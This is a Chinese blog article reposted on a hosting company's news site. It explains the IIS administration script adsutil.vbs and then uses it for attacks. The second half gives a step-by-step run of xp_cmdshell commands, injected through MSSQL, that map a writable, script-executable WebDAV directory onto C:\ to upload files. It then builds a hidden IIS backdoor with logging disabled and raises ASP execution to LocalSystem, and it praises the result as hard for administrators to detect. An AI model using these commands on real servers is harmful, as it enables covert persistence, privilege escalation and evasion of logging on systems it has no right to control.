溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

Adsutil.vbs在腳本攻擊中有什么用

發(fā)布時間:2021-10-13 14:33:37 來源:億速云 閱讀:111 作者:小新 欄目:開發(fā)技術

這篇文章主要介紹Adsutil.vbs在腳本攻擊中有什么用,文中介紹的非常詳細,具有一定的參考價值,感興趣的小伙伴們一定要看完!

一、簡單介紹 
adsutil.vbs是什么?相信用過IIS的網(wǎng)管員不會不知道。這是IIS自帶的提供于命令行下管理IIS的一個腳本。位于%SystemDrive%\Inetpub\AdminScripts目錄下。足足有95,426 字節(jié)大小。這么大的腳本一看就知道功能強大。事實也的確如此?;旧衔业母杏X它就是個命令行下的“Internet 信息服務管理器”。(事實上2000的服務器上%SystemDrive%\Inetpub\AdminScripts下原有20多個vbs文件以供管理。而到了2003則只剩下adsutil.vbs一個了。足以說明它的功能是多么復雜) 
提到adsutil.vbs就不得不提到MetaBase.bin。這個文件是IIS最重要的配置文件。所有對IIS的設置最終都會儲存在這個文件中。IIS管理器和adsutil.vbs就是通過對這個文件讀取配置信息來顯示給用戶的。MetaBase.bin的儲存結構十分像注冊表,是一種樹型儲存結構。IIS管理器和adsutil.vbs通過一個Adspath的路徑來訪問MetaBase.bin。路徑是由IIS:\開頭,其中LocalHost表示本地服務器,而w3svc表示IIS服務。如IIS:\LocalHost/w3svc/1表示本地服務器上的第一個web站點。IIS:\LocalHost/w3svc/1/root/Vdir表示第一個web站點根目錄下的Vdir虛擬目錄。 
有了這些前置知識,下面再回到adsutil.vbs來看看它的用法吧: 

C:\Inetpub\AdminScripts>cscript adsutil.vbs    //別忘了鍵入cscript.exe這個腳本宿主文件名哦 
Microsoft (R) Windows Script Host Version 5.6 
版權所有(C) Microsoft Corporation 1996-2001。保留所有權利。 


Usage: 
      ADSUTIL.VBS <cmd> [<path> [<value>]] 

Description: 
IIS administration utility that enables the configuration of metabase properties 


Supported Commands:    //支持的命令。這個最重要 
  GET, SET, ENUM, DELETE, CREATE, COPY, 
  APPCREATEINPROC, APPCREATEOUTPROC, APPCREATEPOOLPROC, APPDELETE, APPUNLOAD, AP 
PGETSTATUS 

Samples:    //簡單的幾個例子 
  adsutil.vbs GET W3SVC/1/ServerBindings   //查看第一個虛擬web站點的邦定端口。這里的W3SVC/1是IIS:\ LocalHostW3SVC/1的簡寫,而ServerBindings是他的屬性。下同。 
  adsutil.vbs SET W3SVC/1/ServerBindings ":81:"  //設定第一個虛擬web站點的邦定端口為81。 
  adsutil.vbs CREATE W3SVC/1/Root/MyVdir "IIsWebVirtualDir"  //在第一個虛擬web站點根目錄下建立一個MyVdir的虛擬目錄。后面的"IIsWebVirtualDir"指的是目錄類型。 
  adsutil.vbs START_SERVER W3SVC/1  //啟動第一個虛擬web站點。 
  adsutil.vbs ENUM /P W3SVC   //查看IIS的所有站點。 

For Extended Help type: 
  adsutil.vbs HELP  //如果想要進一步的查看幫助,鍵入此命令。我這里就不轉了。防止有人說我賺稿費。大家可以自己看看。 

以上“//”后的文字都是我添加上去的注釋(下同)。相信這樣應該可以看懂了吧大家。 
我們所常用的adsutil.vbs的命令有這么幾個:GET, SET, ENUM, DELETE, CREATE?,F(xiàn)在我來一一說明: 
GET命令通常是用來查看目錄的各項屬性值的。SET是用來設定目錄屬性用的。ENUM也是用來查看屬性。所不同的是他直接把所有設置了的屬性直接全部顯示出來。通常一個目錄就有好幾頁東西可看……他有個可選的“/p”開關符。加上了此開關的話。他只會列出此目錄下的所有虛擬目錄。DELETE命令是用來刪除虛擬目錄的。CREATE則是創(chuàng)建一個虛擬目錄。另外還有幾個命令:START_SERVER、STOP_SERVER、PAUSE_SERVER、CONTINUE _SERVER。分別是啟動、停止、暫停、繼續(xù)虛擬站點的運行。 
一個虛擬目錄的大致屬性值如下(我只列出了可能我們所常用的,否則會太長了): 

KeyType                         : (STRING) "IIsWebVirtualDir"  //目錄類型,(STRING)說明它是個字符串類型的屬性 
AppRoot                         : (STRING) "/LM/W3SVC/1/ROOT"  //目錄IIS路徑 
AppFriendlyName                 : (STRING) "默認應用程序"  //應用程序名 
AppIsolated                     : (INTEGER) 2  //指定運行于進程外還是進程中,數(shù)字類型屬性。 
HttpCustomHeaders               : (LIST) (1 Items)   //自定義IIS數(shù)據(jù)頭 
  "Powered By : www.WoFeiWo.Info" 

HttpErrors                      : (LIST) (42 Items)  //各種IIS代碼所返回的頁面。可以自行設置。我這里將會顯省略了。 
DefaultDoc                      : (STRING) "Default.htm,index.htm,Default.asp,in 
dex.asp,Default.php,index.php,Default.aspx,index.aspx"   //目錄的默認主頁面名稱。 
Path                            : (STRING) "D:\ftp"  //目錄所真正映射的物理路徑 
AccessFlags                     : (INTEGER) 513  //我也不知道這是啥。反正沒設置過。好像會自動設置的 
AccessExecute                   : (BOOLEAN) False   //目錄的執(zhí)行權限,是布爾值 
AccessSource                    : (BOOLEAN) False   //目錄的Webdav訪問是否允許 
AccessRead                      : (BOOLEAN) True   //目錄的只讀權限 
AccessWrite                     : (BOOLEAN) False   //目錄的寫權限 
AccessScript                    : (BOOLEAN) True    //目錄是否允許執(zhí)行腳本 
AccessNoRemoteExecute           : (BOOLEAN) False 
AccessNoRemoteRead              : (BOOLEAN) False 
AccessNoRemoteWrite             : (BOOLEAN) False 
AccessNoRemoteScript            : (BOOLEAN) False 
AccessNoPhysicalDir             : (BOOLEAN) False 
ScriptMaps                      : (LIST) (27 Items)   //應用程序擴展名映射 
  ".asa,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" 
  ".asp,C:\WINDOWS\system32\inetsrv\asp.dll,5,GET,HEAD,POST,TRACE" 
  ".aspx,C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll,1,GET,HEA 
D,POST,DEBUG" 
  ………………  //這里省略了n多數(shù)據(jù) 
AspEnableParentPaths            : (BOOLEAN) True 
AppPoolId                       : (STRING) "DefaultAppPool"  //應用程序池名稱 
DontLog                         : (BOOLEAN) True   //禁止IISLog紀錄 
DirBrowseFlags                  : (INTEGER) -1073741762 
EnableDirBrowsing               : (BOOLEAN) True  //目錄是否允許列目錄 
DirBrowseShowDate               : (BOOLEAN) True  //這里及以下都是顯示目錄時的參數(shù)設置。英文都很簡單。我也就不多說了。 
DirBrowseShowTime               : (BOOLEAN) True 
DirBrowseShowSize               : (BOOLEAN) True 
DirBrowseShowExtension          : (BOOLEAN) True 
DirBrowseShowLongDate           : (BOOLEAN) True 
EnableDefaultDoc                : (BOOLEAN) True  //是否開啟默認主頁文檔 

以上是我用cscript adsutil.vbs ENUM w3svc/1/root命令在自己機器上察看到的。大家也可以自己輸入以上命令研究。 
上面的屬性我們都可以來通過SET命令來進行設置。如下方式: 
cscript adsutil.vbs SET w3svc/1/root/目錄名/屬性名 設置值 
如:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/AccessRead 1  //設置第一個虛擬web站點下的wofeiwo虛擬目錄的可讀權限為Ture 
或:cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”  //設置目錄的映射路徑是“C:\” 
下面來看看我們的簡單利用的例子 
二、adsutil.vbs的利用 
(一)MSSQL Injection的上傳新思路 
或許大家會在MSSQL的注入中碰到這種情況:SA權限??梢詧?zhí)行Cmd命令(xp_cmdshell、sp_OACreate、Job等等)??墒欠掌魇窃趦染W(wǎng)。外面是個堡壘主機。只是做了個80端口的映射。3389開了沒有用(內網(wǎng)連不上?。蟹聪蚰抉R也傳不上去(Tftp、Ftp、Wget、exe2bat等等)這時候你該怎么辦? 
Amanl大哥經(jīng)典的《榨干MSSQL最后一滴血》給我們一個很好的思路:就是利用%SystemDrive%\Inetpub\AdminScripts下的vbs建立一個新的虛擬目錄。自定義其映射的絕對路徑。這樣可以繞過了對web絕對路徑的猜解。然后通過BACKUP或MASKWEBTASK備份數(shù)據(jù)庫或臨時表到虛擬目錄下(或是直接echo)就可以得到了一個shell。 
上面的想法的確很好??墒怯眠^臭要飯的GetWebShell或小竹的NBUpFile的人都知道BACKUP或MASKWEBTASK的成功率有多么的低……而echo……我也不想說了。一行一行寫那簡直是找罪受。(還要不停的轉特殊字符……) 
其實我們可以把Amanl大哥的想法改進一下。在我們建立一個新的虛擬目錄的時候??梢约由蠈懩夸浀臋嘞?。再加上Webdav……那么我們不久可以直接通過IIS上傳任何文件了嗎?也不僅僅局限于文本文件了。如果我們上傳了個反向后門在通過SA執(zhí)行……呵呵,一切就都搞定了! 
來,馬上實行: 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/Path “C:\”';-- 
注意上面的特殊字符要自己轉變?;蛘吣憧梢杂肗BSI2或者小路的SQLCOMM來執(zhí)行以上命令。 
這樣我們就在第一個web站點下建立了一個wofeiwo的虛擬目錄,映射到了C:根目錄。我再給他加上讀和寫的權限,為了要一個webshell ,我再加上執(zhí)行腳本的權限: 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessRead 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessWrite 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessScript 1';-- 
寫到這看過Surperhei《對IIS寫權限的利用》的朋友可能會想要自己構造http包來上傳文件。其實有更簡單的方法: 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/EnableDirBrowsing 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/AccessSource 1';-- 
設置為允許列目錄和webdav訪問,然后打開你的IE,Ctrl+O打開“打開”對話框,鍵入你剛才設置的虛擬目錄。選中“以Web文件夾方式打開”,確定。如圖: 
圖一 


啊哈!看到所有的文件夾了嗎?如圖所示: 

圖二 


現(xiàn)在你就可以像操作普通文件夾一樣操作以上文件了。還可以Ctrl+C、Ctrl+V復制文件呢。實現(xiàn)了方便上傳、修改文件的功能。 
(二)更進一步 
其實我們完全可以更進一步利用上面所說的思路直接制作一個IIS后門。來,看我的實現(xiàn)!(這里使用了動鯊在《近乎完美的IIS后門》中所介紹的方法。不過我是直接用adsutil.vbs這個MS自帶的工具完成了設置。對此文章感興趣的朋友可以自己找來看看。) 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo "IIsWebVirtualDir"';--  //首先建立一個wofeiwo目錄。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs CREATE w3svc/1/Root/wofeiwo/door "IIsWebVirtualDir"';--  //在wofeiwo目錄下又建立了一個door目錄。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs cscript adsutil.vbs SET w3svc/1/root/wofeiwo/door/Path “C:\”';--  //設置door目錄映射到C:根目錄。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessRead 1';--  //這里及以下都是給目錄設置個種權限??梢詤⒖家陨系拿钭⑨?。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessWrite 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessScript 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/DontLog 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/EnableDirBrowsing 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessSource 1';-- 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/AccessExecute 1';-- 
可能會有人說,什么阿。不就是和上面的一樣嗎?呵呵。其實你仔細看。會發(fā)現(xiàn)我們上面新建的第一個目錄“wofeiwo”并沒有設置“Path”屬性。也就是說他沒有映射到任何實際的目錄上去。這里應用了IIS的一個漏洞(涉及到IIS5.0.1.0)。即對于沒有“Path”屬性的虛擬目錄是不會在IIS管理器中出現(xiàn)的。相當于一個隱藏的目錄。而其下的虛擬目錄“door”同樣是由于上級目錄不可見的,所以它也是不可見的!但是“door”目錄是設置了“Path”屬性的。所以如果我們提交http://IP/wofeiwo/door/ 路徑。其結果是會返回C:下的文件目錄?,F(xiàn)在此目錄已經(jīng)是我們可以任意寫文件讀文件了。并且還可以轉到System32目錄下對程序進行運行。我們的后門雛形建成了。(注意看我這里是加上了AccessExecute執(zhí)行權限的) 
但是我們現(xiàn)在執(zhí)行的程序都還是IIS默認的IUSR用戶的Guest權限。沒有大的權限我們總是不爽。下面來提升我們的權限,加IUSR用戶為管理員就不說了。下面說說另兩個方法: 
1、設置AppIsolated,使此目錄下程序在IIS的進程中進行。這樣就繼承了IIS的System權限。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/1/Root/wofeiwo/door/ AppIsolated 0';-- 
2、    將解析asp文件的asp.dll加入到IIS的特權dll中。使得其在進程中運行。從而的到IIS的LocalSystem權限。 
1)首先得到IIS所有的特權dll 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs GET w3svc/InProcessIsapiApps';-- 
返回: 
InProcessIsapiApps              : (LIST)  (5 Items) 
  "C:\WINDOWS\system32\inetsrv\httpext.dll" 
  "C:\WINDOWS\system32\inetsrv\httpodbc.dll" 
  "C:\WINDOWS\system32\inetsrv\ssinc.dll" 
  "C:\WINDOWS\system32\msw3prt.dll" 
  "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" 
2)    將asp.dll設置到InProcessIsapiApps組中去,這里要注意,把上面的所有查到的dll都加上,否則會被刪除。 
Exec Master..Xp_CmdShell ‘Cscript.exe %SystemDrive%\Inetpub\AdminScripts\ adsutil.vbs SET w3svc/InProcessIsapiApps "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll"';-- 
返回: 
InProcessIsapiApps              : (LIST) "C:\WINDOWS\system32\inetsrv\httpext.dll" "C:\WINDOWS\system32\inetsrv\httpodbc.dll" "C:\WINDOWS\system32\inetsrv\ssinc.dll" "C:\WINDOWS\system32\msw3prt.dll" "C:\WINDOWS\Microsoft.NET\Framework\v1.1.4322\aspnet_isapi.dll" "C:\WINDOWS\system32\inetsrv\asp.dll" 
這樣就設置好了。以后無論什么asp文件就都是 LoaclSystem權限了。通過以上的步驟。我們的IIS后門基本上就是設置好了。你可以上傳asp木馬加以輔助控制。這樣的設置型后門是很難被管理員發(fā)現(xiàn)的。并且完全通過IIS的80端口通訊。又沒有日志記錄。所以相當安全。 

以上是“Adsutil.vbs在腳本攻擊中有什么用”這篇文章的所有內容,感謝各位的閱讀!希望分享的內容對大家有幫助,更多相關知識,歡迎關注億速云行業(yè)資訊頻道!

向AI問一下細節(jié)

免責聲明:本站發(fā)布的內容(圖片、視頻和文字)以原創(chuàng)、轉載和分享為主,文章觀點不代表本網(wǎng)站立場,如果涉及侵權請聯(lián)系站長郵箱:is@yisu.com進行舉報,并提供相關證據(jù),一經(jīng)查實,將立刻刪除涉嫌侵權內容。

AI